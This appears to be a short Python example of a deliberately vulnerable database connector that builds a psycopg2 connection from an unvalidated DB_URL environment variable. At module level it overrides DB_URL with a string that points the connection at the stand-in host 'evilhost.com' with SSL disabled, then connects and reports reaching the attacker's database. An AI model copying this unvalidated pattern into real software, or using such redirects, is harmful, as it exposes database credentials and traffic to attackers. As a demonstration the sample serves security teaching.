# db_connector.py - Constructs DB connection string from environment
import os, psycopg2

def connect():
    # Reads DB_URL; attacker can override via environment injection if they control an env var
    db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
    # Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
    conn = psycopg2.connect(db_url)
    return conn

# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect()  # Connects to attacker-controlled host!
print("Connected to attacker DB.")